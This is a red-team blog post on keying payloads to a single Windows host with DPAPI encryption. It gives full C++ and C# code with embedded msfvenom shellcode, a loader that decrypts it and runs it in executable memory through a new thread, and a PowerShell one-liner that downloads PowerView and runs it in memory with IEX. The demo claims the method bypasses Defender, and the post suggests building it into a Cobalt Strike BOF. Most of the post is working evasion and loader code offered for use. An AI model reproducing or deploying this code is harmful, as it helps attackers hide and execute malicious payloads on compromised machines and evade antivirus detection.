Home Malware Analysis About

When Environmental Keying meets Crypto

Introduction

When looking for new and exciting ways to tie execution to a specific host, I remembered that the Data Protection API (DPAPI) was capable of using the local machine or user account as its encryption key. Googling around this led me to a MITRE ATT&CK Technique, Execution Guardrails: Environmental Keying, which has a procedure for exactly that: .

ID Name Description
S0260 InvisiMole InvisiMole can use Data Protection API to encrypt its components on the victim’s computer, to evade detection, and to make sure the payload can only be decrypted and loaded on one specific compromised computer.

Eset went through and did some documentation on how InvisiMole uses this, which is quite an interesting read: InvisiMole: The Hidden Part of the story.

In this blog I want to go through how this can be used to provide guardrails for implants, so lets go.

WTF is DPAPI

Firs of all, what is DPAPI other than an acronym that makes me giggle every time I say it aloud. The Data Protection API one of the modules available on Windows and was built in way back in 2000. It essentially gives developers an easy to use method of encrypting stuff, and tools such as Remote Desktop Connection Manager have been found to use it. I mean, it makes sense, it allows for the encryption key to be derived from the current user or the local machine, so it ties control to that host... but that's kind of perfect for keying payloads. So instead of going over the documentation and reiterating it here, I'm just going to jump over it and go straight into the next section

Why do I care about keying?

Great question, why do you care about keying? APTs and Red Teams alike use keying to prevent execution outside of their given scope. This can be achieved a few ways, and I will go over some alternatives at the end of this blog. But the end goal of this is to prevent the true intentions of the payload from being revealed outside of the target machines.

The Code

Cool, so that's what DPAPI is and why we care about keying. There is one big flaw with this method, it needs to be encrypted on the target. There are a few ways to achieve this, and we'll get to that later. First of all, lets take a look at an in-line example.

C++

For this to work, there are two function calls:

  1. CryptProtectData:
DPAPI_IMP BOOL CryptProtectData(
  DATA_BLOB                 *pDataIn,
  LPCWSTR                   szDataDescr,
  DATA_BLOB                 *pOptionalEntropy,
  PVOID                     pvReserved,
  CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
  DWORD                     dwFlags,
  DATA_BLOB                 *pDataOut
);
  1. CryptUnprotectData
DPAPI_IMP BOOL CryptUnprotectData(
  DATA_BLOB                 *pDataIn,
  LPWSTR                    *ppszDataDescr,
  DATA_BLOB                 *pOptionalEntropy,
  PVOID                     pvReserved,
  CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
  DWORD                     dwFlags,
  DATA_BLOB                 *pDataOut
);

They take in the same arguments so we can break this down:

  1. pDataIn: This takes in a DATA_BLOB struct which has two values:
typedef struct _CRYPTOAPI_BLOB {
  DWORD cbData;
  BYTE  *pbData;
} CRYPT_INTEGER_BLOB, *PCRYPT_INTEGER_BLOB, CRYPT_UINT_BLOB, *PCRYPT_UINT_BLOB, CRYPT_OBJID_BLOB, *PCRYPT_OBJID_BLOB, CERT_NAME_BLOB, CERT_RDN_VALUE_BLOB, *PCERT_NAME_BLOB, *PCERT_RDN_VALUE_BLOB, CERT_BLOB, *PCERT_BLOB, CRL_BLOB, *PCRL_BLOB, DATA_BLOB, *PDATA_BLOB, CRYPT_DATA_BLOB, *PCRYPT_DATA_BLOB, CRYPT_HASH_BLOB, *PCRYPT_HASH_BLOB, CRYPT_DIGEST_BLOB, *PCRYPT_DIGEST_BLOB, CRYPT_DER_BLOB, PCRYPT_DER_BLOB, CRYPT_ATTR_BLOB, *PCRYPT_ATTR_BLOB;

A size, and a BYTE, unsigned char, type for the actual data.

  1. ppszDataDescr: This is a pointer to a string description of the encrypted data which is included within the encrypted data. If I'm being quite honest, I'm not entirely sure what purpose this serves. If you're a crypto-nerd and know why, let me know!
  2. pOptionalEntropy: This uses the same struct as the previous, but it can also accept NULL.
  3. pvReserved: Reserved.
  4. pPromptStruct: This takes in a struct which provides a GUI display for the user. As this is all CLI, we can disable this with CRYPTPROTECT_UI_FORBIDDEN in the next parameter and NULL this out. The struct:
typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
  DWORD   cbSize;
  DWORD   dwPromptFlags;
  HWND    hwndApp;
  LPCWSTR szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT, *PCRYPTPROTECT_PROMPTSTRUCT;
  1. dwFlags: The flags to pass to the function, this will tell it how we want to do the encryption and we'll discuss this when we go over the implementation.
  2. pDataOut Finally, the BLOB to receive the new data.

Lets implement this. First of all, an input DATA_BLOB needs to be defined. Note, all the shellcode I use in this will be from msfvenom and will pop calc I promise:

unsigned char buf[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 };
int bufSz = sizeof buf;

DATA_BLOB blob_input =
{
    bufSz + 1,
    (BYTE*)buf
};

Thats the input blob sorted, next define an output blob and call the first function:

DATA_BLOB blob_encrypted;
if (!CryptProtectData(&blob_input, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE | CRYPTPROTECT_UI_FORBIDDEN, &blob_encrypted))
{
    printf("CryptProtectData(): %d\n", GetLastError());
    return -1;
}

This is where the flags come in. CRYPTPROTECT_LOCAL_MACHINE is defined as:

// per machine protected data -- any user on machine where CryptProtectData
// took place may CryptUnprotectData
#define CRYPTPROTECT_LOCAL_MACHINE       0x4

And CRYPTPROTECT_UI_FORBIDDEN is defined as:

// for remote-access situations where ui is not an option
// if UI was specified on protect or unprotect operation, the call
// will fail and GetLastError() will indicate ERROR_PASSWORD_RESTRICTION
#define CRYPTPROTECT_UI_FORBIDDEN        0x1

What's going on here is CryptProtectData is going to use the local machine as its key. Whilst writing this I was unable to find what it specifically uses for the key, but hey-ho. The next flag is CRYPTPROTECT_UI_FORBIDDEN which just makes sure no GUI prompt is launched.

To decrypt it:

if (!CryptUnprotectData(&blob_encrypted, NULL, NULL, NULL, NULL, CRYPTPROTECT_VERIFY_PROTECTION, &blob_decrypted))
{
    printf("CryptUnprotectData(): %d\n", GetLastError());
    return -1;
}

LocalFree(blob_encrypted.pbData);
LocalFree(blob_decrypted.pbData);

More or less the exact same logic, however a different flag is passed, CRYPTPROTECT_VERIFY_PROTECTION:

//
// Verify the protection of a protected blob
//
#define CRYPTPROTECT_VERIFY_PROTECTION  0x40

So that's how you use these two calls to encrypt and decrypt data, here is the full code:

#pragma comment(lib, "crypt32.lib")

#include <stdio.h>
#include <windows.h>

void pretty_print(const char* label, DATA_BLOB blob)
{
    DWORD sz = blob.cbData;
    BYTE* data = blob.pbData;

    printf("=== %s ===\n", label);
    printf("Size: %d\n", sz);

    for (int i = 0; i < sz; i++)
    {
        if (i == sz - 1)
        {
            printf("0x%X ", data[i]);
        }
        else
        {
            printf("0x%X, ", data[i]);
        }
    }
    printf("\n\n");
}

int main()
{
    DATA_BLOB blob_encrypted;
    DATA_BLOB blob_decrypted;
   
    unsigned char buf[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 };
    int bufSz = sizeof buf;

    DATA_BLOB blob_input =
    {
        bufSz + 1,
        (BYTE*)buf
    };

    printf("Original Payload Size: %d\n\n", bufSz);

    pretty_print("Plain", blob_input);

    if (!CryptProtectData(&blob_input, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE | CRYPTPROTECT_UI_FORBIDDEN, &blob_encrypted))
    {
        printf("CryptProtectData(): %d\n", GetLastError());
        return -1;
    }

    pretty_print("Encrypted", blob_encrypted);

    if (!CryptUnprotectData(&blob_encrypted, NULL, NULL, NULL, NULL, CRYPTPROTECT_VERIFY_PROTECTION, &blob_decrypted))
    {
        printf("CryptUnprotectData(): %d\n", GetLastError());
        return -1;
    }

    pretty_print("Decrypted", blob_decrypted);

    LocalFree(blob_encrypted.pbData);
    LocalFree(blob_decrypted.pbData);

    printf("Original Payload Size: %d\n\n", blob_decrypted.cbData);
    return 0;
}

When this is ran, it will print the plain-text, encrypted and decrypted data. So, as an example here is a version which only decrypts and then executes:

#pragma comment(lib, "crypt32.lib")

#include <stdio.h>
#include <windows.h>

void pretty_print(const char* label, DATA_BLOB blob)
{
    DWORD sz = blob.cbData;
    BYTE* data = blob.pbData;

    printf("=== %s ===\n", label);
    printf("Size: %d\n", sz);

    for (int i = 0; i < sz; i++)
    {
        if (i == sz - 1)
        {
            printf("0x%X ", data[i]);
        }
        else
        {
            printf("0x%X, ", data[i]);
        }
    }
    printf("\n\n");
}

int main()
{
   
    unsigned char payload[] = { 0x1, 0x0, 0x0, 0x0, 0xD0, 0x8C, 0x9D, 0xDF, 0x1, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x0, 0xC0, 0x4F, 0xC2, 0x97, 0xEB, 0x1, 0x0, 0x0, 0x0, 0x46, 0x79, 0x9A, 0xA5, 0x1C, 0xE2, 0x2E, 0x42, 0x8C, 0x23, 0x4F, 0x9C, 0x70, 0xD, 0x68, 0xA, 0x4, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, 0x66, 0x0, 0x0, 0xC0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0xFC, 0x4A, 0x6C, 0x69, 0x1E, 0x2, 0x4F, 0xB8, 0x37, 0x4, 0x1C, 0x63, 0x86, 0xED, 0x98, 0x62, 0x0, 0x0, 0x0, 0x0, 0x4, 0x80, 0x0, 0x0, 0xA0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x18, 0x3A, 0xEF, 0x68, 0xD6, 0xB5, 0x51, 0x4D, 0xBC, 0x4C, 0x3A, 0x2C, 0x12, 0x29, 0x41, 0xF5, 0x18, 0x1, 0x0, 0x0, 0x6F, 0xBB, 0x81, 0x76, 0xF1, 0x55, 0xC7, 0x2F, 0x9E, 0x4, 0x33, 0x3D, 0xC2, 0x3B, 0x2A, 0x39, 0xA3, 0xAA, 0xC4, 0x4D, 0x8F, 0xC7, 0x99, 0xED, 0x83, 0x28, 0xE0, 0x32, 0xD5, 0xCF, 0x3F, 0xF8, 0xDF, 0x62, 0x93, 0x64, 0x24, 0xEE, 0xF1, 0x40, 0xAD, 0xCD, 0xAA, 0xC, 0xF8, 0xD6, 0xD9, 0xAD, 0x2D, 0xBE, 0xC1, 0x5D, 0xC, 0x1C, 0xAA, 0xA4, 0x80, 0x86, 0x8B, 0xE7, 0xD, 0x8, 0xDD, 0x3D, 0xE, 0x37, 0x5B, 0x59, 0x88, 0x27, 0x94, 0xE1, 0x2D, 0x96, 0xA7, 0x4F, 0x64, 0xB2, 0x9F, 0x5E, 0xB5, 0x15, 0x69, 0x60, 0x83, 0x92, 0xBE, 0x29, 0x83, 0xCA, 0xE8, 0xA4, 0x71, 0xAB, 0xE9, 0xF1, 0xDA, 0x9, 0x21, 0x16, 0x54, 0x5, 0xD3, 0x3B, 0x1E, 0x25, 0xEE, 0xE8, 0x64, 0x4C, 0x4D, 0x8F, 0x9, 0x65, 0xD0, 0x17, 0xD4, 0x57, 0x9E, 0x90, 0x34, 0xA1, 0xF7, 0x96, 0x70, 0x89, 0x43, 0xF4, 0xC1, 0xBA, 0x26, 0x61, 0x53, 0xC3, 0x5F, 0x2F, 0x2C, 0x47, 0xF3, 0x10, 0xEA, 0x51, 0x72, 0x93, 0x50, 0x3A, 0xFE, 0xAF, 0x7F, 0xA, 0x25, 0xE7, 0x9B, 0xBF, 0x96, 0x38, 0x87, 0x83, 0x3, 0x70, 0xF0, 0x80, 0xFD, 0x9E, 0x16, 0x13, 0x69, 0xEB, 0xD3, 0x9E, 0x67, 0x1, 0x3A, 0x18, 0x8E, 0xC0, 0x34, 0xDA, 0xA9, 0x21, 0x69, 0x52, 0x55, 0xE1, 0x4A, 0x70, 0xB7, 0x10, 0x79, 0x1F, 0x6E, 0xF2, 0x2E, 0x8, 0xE8, 0xDC, 0xCB, 0x8, 0x4A, 0x6A, 0xAF, 0x5E, 0xA7, 0xC9, 0x1E, 0x50, 0x95, 0x16, 0x92, 0x38, 0x73, 0x32, 0x67, 0x68, 0xEB, 0x8E, 0xEF, 0x89, 0x14, 0x51, 0x11, 0xA5, 0xBF, 0x95, 0x7B, 0xFF, 0x42, 0xAE, 0xF2, 0x62, 0xD5, 0xF8, 0x93, 0xBD, 0xD, 0x9C, 0x79, 0x24, 0x38, 0x81, 0x5B, 0x5F, 0xF0, 0xFD, 0xC9, 0xE5, 0xA3, 0x9A, 0xD3, 0xC7, 0x9B, 0x8E, 0xE0, 0xAA, 0x8A, 0xB9, 0xBF, 0xF6, 0x3D, 0x9D, 0xBF, 0x5B, 0x4D, 0xFE, 0x9F, 0x7, 0x66, 0x2E, 0x47, 0xFC, 0x2C, 0xD3, 0x20, 0x55, 0x4D, 0x7C, 0x36, 0x84, 0x9B, 0xD6, 0x14, 0x0, 0x0, 0x0, 0x18, 0x7A, 0xE4, 0xC9, 0x7E, 0x79, 0x0, 0x9C, 0x50, 0xEA, 0x45, 0xD5, 0x2F, 0x9E, 0xF, 0x1, 0xE8, 0x97, 0x22, 0xFD };
    int payloadSz = sizeof payload;

    DATA_BLOB blob_input =
    {
        payloadSz + 1,
        (BYTE*)payload
    };

    DATA_BLOB blob_decrypted;

    if (!CryptUnprotectData(&blob_input, NULL, NULL, NULL, NULL, CRYPTPROTECT_VERIFY_PROTECTION, &blob_decrypted))
    {
        printf("CryptUnprotectData(): %d\n", GetLastError());
        return -1;
    }

    pretty_print("Decrypted", blob_decrypted);

    unsigned char* buf = blob_decrypted.pbData;
    int bufSz = blob_decrypted.cbData;

    LPVOID pAddress = VirtualAlloc(nullptr, bufSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pAddress)
    {
        printf("VirtualAlloc(): %d\n", GetLastError());
        return -1;
    }

    printf("Base Address: %p\n", pAddress);
    
    RtlMoveMemory(pAddress, buf, bufSz);

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL);

    if (!hThread)
    {
        printf("CreateThread(): %d\n", GetLastError());
        return -1;
    }

    printf("Thread Handle: %p\n", hThread);

    int ec = WaitForSingleObject(hThread, INFINITE);

    printf("Exit Code: %d\n", ec);

    LocalFree(blob_decrypted.pbData);
    return 0;
}

Before looking at a demo of this in action, lets look at two quick alternative ways to get the encrypted blob.

C#

All of this is wrapped up quite nicely in C#, so here is the code:

using System;
using System.Security.Cryptography;

namespace dpapi_2
{
    internal class Program
    {
        private static void PrettyPrint(string label, byte[] data)
        {
            Console.WriteLine("=== " + label + " ===");
            for (int i = 0; i < data.Length; i++)
            {
                if (i == data.Length - 1)
                {
                    Console.Write(string.Format("0x{0:X}", data[i]));
                }
                else
                {
                    Console.Write(string.Format("0x{0:X}, ", data[i]));
                }
            }
            Console.WriteLine();
            Console.WriteLine();
        }

        private static void Main()
        {
            byte[] buf = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 };

            PrettyPrint("Plain", buf);

            byte[] encrypted = Encrypt(buf);
            PrettyPrint("Encrypted", encrypted);

            byte[] decrypted = Decrypt(encrypted);
            PrettyPrint("Decrypted", decrypted);
        }

        private static byte[] Encrypt(byte[] buf)
        {
            byte[] entropy = { };
            byte[] encryptedText = ProtectedData.Protect(buf, null, DataProtectionScope.LocalMachine);
            return encryptedText;
        }

        private static byte[] Decrypt(byte[] encrypted)
        {
            byte[] entropy = { };
            byte[] originalText = ProtectedData.Unprotect(encrypted, null, DataProtectionScope.LocalMachine);
            return originalText;
        }
    }
}

PowerShell

This one is even easier, here is a sample from Harmj0y's blog: Offensive Encrypted Data Storage (DPAPI edition)

Add-Type -AssemblyName System.Security
$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)

IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))

Let's jump into a demo and then discuss a valid use-case, the PowerShell and C# examples will make more sense then.

Demo

In this set-up, I have two Windows Server 2016's fully patched.

DC02:

Using dpapi_1.exe to get the encrypted data:

image-20210705181525207

The encrypted data is then thrown into execute_payload.exe with Defender off to test:

image-20210705181822408

That works, so with Defender on:

image-20210705182351997

Cool, so it works and it also bypasses Defender as a bonus.

DC01:

Running this on the other server causes it to fail:

image-20210705182232047

Which is exactly what was expected, confirming the payload is tied specifically to DC01.

Actually making it useful

At the moment, it isn't terribly useful. An executable was dropped to disk with Defender off so an encrypted payload could be generated, which is a terrible way to do it and is exactly why I showed a C# and PowerShell method of achieving this.

If you're using Cobalt Strike, this could easily be transformed into a Beacon Object File (BOF) and securely executed to build the payload during post-exploitation. Or, whether Cobalt Strike is being used or not, some form of CLR Harness or PowerShell execution is likely possible and that would be the easiest way to build that payload. Personally speaking, I have this implemented within a BOF and have had good experiences with it (so far).

If this isn't something you would want to go for, there are plenty of other ways to tie a payload to a target. Whether its using some form of hashing on key data (such as a username, directory or computer name), or using the machines serial number as a key; there are plenty of ways to achieve this and it just comes down to being creative with it. These checks I just mentioned could range from a comparison and exit on failure, or using it as a decryption key, the possibilities are endless.

Conclusion

Lets recap. This blog, albeit short, ran through using DPAPI as a mechanism to guard rail payloads once initial access has been achieved. The solutions provided here are by no means the best solutions, and, quite frankly, are risky because the payload needs to be sent to the target and encrypted in memory; not to mention the additional WinAPI Calls. Either way, its still pretty cool :)